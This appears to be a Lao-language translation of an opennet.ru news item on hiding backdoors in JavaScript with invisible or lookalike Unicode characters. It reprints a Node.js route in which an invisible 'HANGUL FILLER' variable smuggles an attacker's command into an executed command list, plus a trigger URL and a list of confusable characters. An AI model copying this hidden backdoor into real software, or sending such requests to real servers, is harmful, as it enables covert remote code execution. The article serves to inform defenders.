ການໃຊ້ຕົວອັກສອນ unicode ທີ່ເບິ່ງບໍ່ເຫັນເພື່ອເຊື່ອງການກະທຳໃນລະຫັດ JavaScript

ປະຕິບັດຕາມວິທີການໂຈມຕີແຫຼ່ງ Trojan, ເຊິ່ງອີງໃສ່ການນໍາໃຊ້ຕົວອັກສອນ Unicode ທີ່ປ່ຽນຄໍາສັ່ງສະແດງຂອງຂໍ້ຄວາມ bidirectional, ເຕັກນິກອື່ນສໍາລັບການແນະນໍາການກະທໍາທີ່ເຊື່ອງໄວ້ໄດ້ຖືກເຜີຍແຜ່, ນໍາໃຊ້ກັບລະຫັດ JavaScript. ວິທີການໃຫມ່ແມ່ນອີງໃສ່ການນໍາໃຊ້ຕົວອັກສອນ unicode “ㅤ” (ລະຫັດ 0x3164, “HANGUL FILLER”), ເຊິ່ງເປັນປະເພດຕົວອັກສອນ, ແຕ່ບໍ່ມີເນື້ອໃນທີ່ເຫັນໄດ້. ປະເພດ Unicode ທີ່ຕົວອັກສອນນີ້ຢູ່ໃນໄດ້ຖືກອະນຸຍາດຕັ້ງແຕ່ ECMAScript 2015 ສະເພາະສໍາລັບການນໍາໃຊ້ໃນຊື່ຕົວແປ JavaScript, ເຮັດໃຫ້ມັນເປັນໄປໄດ້ທີ່ຈະສ້າງຕົວແປທີ່ເບິ່ງບໍ່ເຫັນຫຼືຕົວແປໃຫມ່ທີ່ບໍ່ສາມາດແຍກອອກຈາກຕົວແປອື່ນໆໃນຕົວແກ້ໄຂລະຫັດທີ່ນິຍົມເຊັ່ນ Notepad ++ ແລະ VS Code.

ຕົວຢ່າງ, ລະຫັດສໍາລັບແພລະຕະຟອມ Node.js ໄດ້ຖືກມອບໃຫ້, ເຊິ່ງ, ໂດຍໃຊ້ຕົວແປທີ່ປະກອບດ້ວຍຕົວອັກສອນດຽວ "ㅤ", backdoor ຖືກເຊື່ອງໄວ້ທີ່ອະນຸຍາດໃຫ້ປະຕິບັດລະຫັດທີ່ລະບຸໄວ້ໂດຍຜູ້ໂຈມຕີ: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // ໃນຄວາມເປັນຈິງມັນບອກວ່າ "const { timeout, ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // ເຄື່ອງໝາຍຈຸດຕິດຕາມດ້ວຍຕົວອັກສອນ \u3164 ];

ຢູ່ glance ທໍາອິດ, ພຽງແຕ່ຄ່າ timeout ແມ່ນຜ່ານພາລາມິເຕີພາຍນອກ, ແລະ array ທີ່ມີຄໍາສັ່ງທີ່ຈະປະຕິບັດມີບັນຊີລາຍຊື່ຄົງທີ່ເປັນອັນຕະລາຍ. ແຕ່ໃນຄວາມເປັນຈິງ, ຫຼັງຈາກຕົວແປການຫມົດເວລາ, ຄ່າຂອງຕົວແປທີ່ເບິ່ງບໍ່ເຫັນອື່ນທີ່ມີລະຫັດຕົວອັກສອນ \u3164 ໄດ້ຖືກມອບຫມາຍ, ເຊິ່ງຖືກທົດແທນເຂົ້າໃນ array ຂອງຄໍາສັ່ງປະຕິບັດໄດ້. ດັ່ງນັ້ນ, ຖ້າການອອກແບບດັ່ງກ່າວມີຢູ່, ຜູ້ໂຈມຕີສາມາດສົ່ງຄໍາຮ້ອງຂໍເຊັ່ນ "https://host:8080/network_health?%E3%85%A4=command" ເພື່ອເປີດໃຊ້ backdoor ແລະປະຕິບັດລະຫັດຂອງພວກເຂົາ.

ຕົວຢ່າງອີກອັນຫນຶ່ງແມ່ນຕົວອັກສອນ "ǃ" (ALVEOLAR CLICK), ເຊິ່ງສາມາດໃຊ້ເພື່ອໃຫ້ຮູບລັກສະນະຂອງເຄື່ອງຫມາຍ exclamation. ຕົວຢ່າງເຊັ່ນ, ການສະແດງອອກ "if(environmentǃ=ENV_PROD){" ເມື່ອຖືກປະຕິບັດໃນ Node.js 14 ຈະເປັນຄວາມຈິງສະເໝີ, ເພາະວ່າມັນບໍ່ໄດ້ກວດສອບຄວາມແຕກຕ່າງ, ແຕ່ມອບຄ່າຂອງ ENV_PROD ໃຫ້ກັບຕົວແປ “environmentǃ”. ຕົວອັກສອນ unicode ທີ່ເຂົ້າໃຈຜິດອື່ນໆລວມມີ "／", "−", "＋", "⩵", "❨", "⫽", "꓿" ແລະ "∗".

ແຫຼ່ງຂໍ້ມູນ: opennet.ru